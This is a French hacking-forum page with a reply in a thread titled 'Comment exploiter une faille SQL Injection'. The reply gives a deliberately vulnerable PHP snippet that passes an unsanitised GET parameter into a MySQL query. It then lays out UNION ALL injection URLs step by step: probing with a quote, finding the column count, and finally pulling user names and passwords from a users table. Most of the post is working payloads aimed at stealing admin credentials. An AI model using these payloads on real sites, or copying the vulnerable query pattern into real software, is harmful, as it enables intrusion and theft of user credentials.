• STATISTIQUES
  • Il y a eu un total de 0 membres et 46694 visiteurs sur le site dans les dernières 24h pour un total de 46 694 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Reddit
    Subreddit dédié à la sécurité informatique.
    Hacking
    [FR] Le top web
    Nous offrons une sélection la plus large possible de resources webmaster gratuites, hébergement gratuit...
    Webmaster
    [FR] frameip
    le site de partage des connaissances du monde TCPIP
    Protocole
    [EN] Defcon
    Lancé en 1992 par Dark Tangent, DEFCON est la plus ancienne et la plus grande conférence underground de...
    Hacking
    [FR] Forum-Webmaster
    Une communauté webmaster pour apporter / recevoir de l'aide en création de site internet. Webmaster...
    Webmaster
    [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking
    [FR] Zmaster
    Articles sur l'informatique, le hacking, le P2P, les divx, les astuces windows XP, les GSM, Emule, la cryptograph...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Comment exploiter une faille SQL Injection
27-12-2011, 14h54 (Modification du message : 01-01-2012, 23h52 par Di0Sasm.)
Message : #18
Adns Hors ligne
Newbie
*



Messages : 4
Sujets : 1
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
Bonjour,

L'article est plutôt clair et précis Smile
Si je peux me permettre quelques remarques Smile

Citation :Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante.

Il y a aussi une autre grosse utilisation de ce genre de faille. C'est de pouvoir afficher des données qui ne nous sont pas accessibles.

Je suis sur que toute personne ayant déjà regardé de plus près une URL a déjà vu ce genre de chose :

Code :
http://site.com/article.php?id=255

Et bien ici aussi il existe une potentielle faille.

Voyons un code vulnérable et assez simpliste:

Code PHP :
<?php
    
    $id 
$_GET['id'];
    
$res mysql_query("select titre, contenu from article where id='".$id."'");
    
$row mysql_fetch_array($res);
    
    echo 
"<h2>".$row['titre']."</h2>";
    
    echo 
"<p>".$row['contenu']."</p>";
    
?>

Ce code devrait parfaitement fonctionner jusqu'à ce qu'un petit malin vienne jouer avec la variable $id qui n'est pas sécurisé.

Pour vérifier que faille il y a il suffit de tester le caractère ' a la fin du chiffre qui représente l'id de l'article.

Exemple :
Code :
http://site.com/article.php?id=255'

Si une erreur se produit lors de l'affichage de la page cela signifie que la faille existe. il ne reste plus qu'à l'exploiter.

Pour cela il faut jouer avec un mot clé de SQL qui est UNION ALL.
Dans une requête SQL UNION ALL permet d'obtenir toutes les données de plusieurs tables.

La première étape lors de ce genre d'exploitation consiste à "brute-forcer" pour connaitre le nombre de champ utilisé dans la requête à modifier.

select titre, contenu from article

Ici je pars du principe que la faille se trouve sur un CMS et donc que l'on a accès à la structure de la table. Lorsque ce n'est pas le cas il existe différentes manières pour les obtenir...

Revenons en à notre brute-force et passons à la pratique.
Code :
Test 1 : http://site.com/article.php?id=0' union all select 1 from article --

Explications :
  • l'apostrophe permet de fermer la chaine de caractère et ainsi injecter notre code.
  • UNION ALL permettra d'afficher les données d'une autre table.
  • -- permet de mettre la suite de la requête en commentaire pour qu'elle ne soit pas exécutée.
  • le fait de mettre un 0 comme ID permettra d'afficher uniquement les données de l'autre table et non les données relative à un article existant.

Cette requête nous renverra une erreur car la requête initiale utilise 2 champs : Titre et contenu.

Code :
Test 2 : http://site.com/article.php?id=0' union all select 1,2 from article --

Bingo !!
Cette requête affichera dans la page 1 à la place du titre et 2 à la place du contenu
Dans ce cas là ce fut plutôt rapide car il n'y avait que 2 champs, mais cela peut-être beaucoup plus long s'il y a plus de champs.


Une fois arrivé ici il suffit de remplacer les 1 et 2 par les données sensibles qui nous intéressent comme les identifiants de connexion d'un admin Wink

Exemple :

Code :
http://site.com/article.php?id=0' union all select user,password from users --

En espérant avoir été clair Smile

Adns
+1 (0) -1 (0) Répondre


Messages dans ce sujet
Comment exploiter une faille SQL Injection - par -zaymin- - 13-02-2007, 18h04
Comment exploiter une faille SQL Injection - par Adns - 27-12-2011, 14h54

Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment est exploitée une faille XSS CyberSee 37 3,391 01-09-2015, 16h07
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,235 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille WEB] LFI Swissky 10 852 25-02-2013, 22h04
Dernier message: InstinctHack
  [Faille Web] Full Path Disclosure Swissky 4 565 07-12-2012, 08h52
Dernier message: Shirobi
  Comment utiliser Metasploit EpicOut 4 415 15-09-2012, 20h47
Dernier message: Swissky
  Comment fonctionne les attaques de type IP-Spoofing Apophis 4 601 18-02-2007, 12h38
Dernier message: shutdownfuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 7 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut